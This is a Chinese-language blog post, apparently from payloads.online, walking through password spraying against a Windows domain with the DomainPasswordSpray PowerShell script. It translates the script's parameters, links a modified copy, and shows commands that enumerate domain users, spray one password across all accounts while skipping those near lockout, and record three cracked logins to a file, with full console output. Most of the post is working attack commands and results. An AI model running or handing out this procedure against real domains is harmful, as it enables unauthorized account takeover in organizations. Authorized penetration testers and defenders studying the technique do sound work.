Windows域渗透 - 用户密码枚举
2018-05-02 09:00:00 Author: payloads.online(查看原文) 阅读量:195 收藏

推荐一个Powershell脚本

0x00 前言

在进行Windows域渗透的时候,面对庞大的用户账号,不知该从何下手,扫描网络服务有怕搞出大动静,肿么办呢?

0x01 Powershell

目前已经有很多Powershell集合脚本,用于域渗透简直舒爽

今天推荐一款名字叫DomainPasswordSpray.ps1的脚本,主要原理是先来抓取域用户账号,然后指定密码字典进行域认证。认证通过的就是密码正确的了。

0x00

GitHub项目地址:https://github.com/dafthack/DomainPasswordSpray

由于作者的脚本有一个小瑕疵,故此我改了一下,避免抛出了一些错误。

0x01

优化后的地址:http://payloads.online/scripts/Invoke-DomainPasswordSpray.txt

0x02 参数说明

在代码的开头就已经有介绍了,我简单汉化一下。

描述:该模块主要用于从域中收集用户列表。

  • 参数: Domain 指定要测试的域名
  • 参数: RemoveDisabled 尝试从用户列表删除禁用的账户
  • 参数: RemovePotentialLockouts 删除锁定账户
  • 参数: UserList 自定义用户列表(字典)。 如果未指定,这将自动从域中获取
  • 参数: Password 指定单个密码进行口令测试
  • 参数: PasswordList 指定一个密码字典
  • 参数: OutFile 将结果保存到某个文件
  • 参数: Force 当枚举出第一个后继续枚举,不询问

0x03 使用说明

使用例子:

C:\PS> Get-DomainUserList

该命令将从域中收集用户列表。

C:\PS> Get-DomainUserList -Domain 域名 -RemoveDisabled -RemovePotentialLockouts | Out-File -Encoding ascii userlist.txt

该命令将收集域“域名”中的用户列表,包括任何未被禁用且未接近锁定状态的帐户。 它会将结果写入“userlist.txt”文件中

C:\PS> Invoke-DomainPasswordSpray -Password Winter2016

该命令将会从域环境中获取用户名,然后逐个以密码Winter2016进行认证枚举

C:\PS> Invoke-DomainPasswordSpray -UserList users.txt -Domain 域名 -PasswordList passlist.txt -OutFile sprayed-creds.txt

该命令将会从users.txt中提取用户名,与passlist.txt中的密码对照成一对口令,进行域认证枚举,登录成功的结果将会输出到sprayed-creds.txt

0x04 实战

获取域环境中的用户列表

命令:C:\PS> Get-DomainUserList | Out-File -Encoding ascii userlist.txt

输出:

[*] Current domain is compatible with Fine-Grained Password Policy.
[*] Now creating a list of users to spray...
[*] There appears to be no lockout policy.
[*] There are 8 total users found.
[*] Created a userlist containing 8 users gathered from the current user's domain

获取的用户名:

C:\PS> type .\userlist.txt
Administrator
Guest
liyingzhe
krbtgt
Hack
testPass
webManager
dba

密码枚举

0x02

命令: C:\PS> Invoke-DomainPasswordSpray -Domain 域名 -Password w!23456 -OutFile sprayed-creds.txt

输出:

[*] Current domain is compatible with Fine-Grained Password Policy.
[*] Now creating a list of users to spray...
[*] There appears to be no lockout policy.
[*] Removing disabled users from list.
[*] There are 6 total users found.
[*] Removing users within 1 attempt of locking out from list.
[*] Created a userlist containing 6 users gathered from the current user's domain
[*] Password spraying has begun. Current time is 18:45
[*] This might take a while depending on the total number of users
1 of 6 users tested2 of 6 users tested3 of 6 users tested[*] SUCCESS! User:testPass Password:w!23456
4 of 6 users tested[*] SUCCESS! User:webManager Password:w!23456
5 of 6 users tested[*] SUCCESS! User:dba Password:w!23456
6 of 6 users tested[*] Password spraying is complete
[*] Any passwords that were successfully sprayed have been output to sprayed-creds.txt

枚举的结果:

C:\PS > type .\sprayed-creds.txt
testPass:w!23456
webManager:w!23456
dba:w!23456

文章来源: https://payloads.online/archivers/2018-05-02/1
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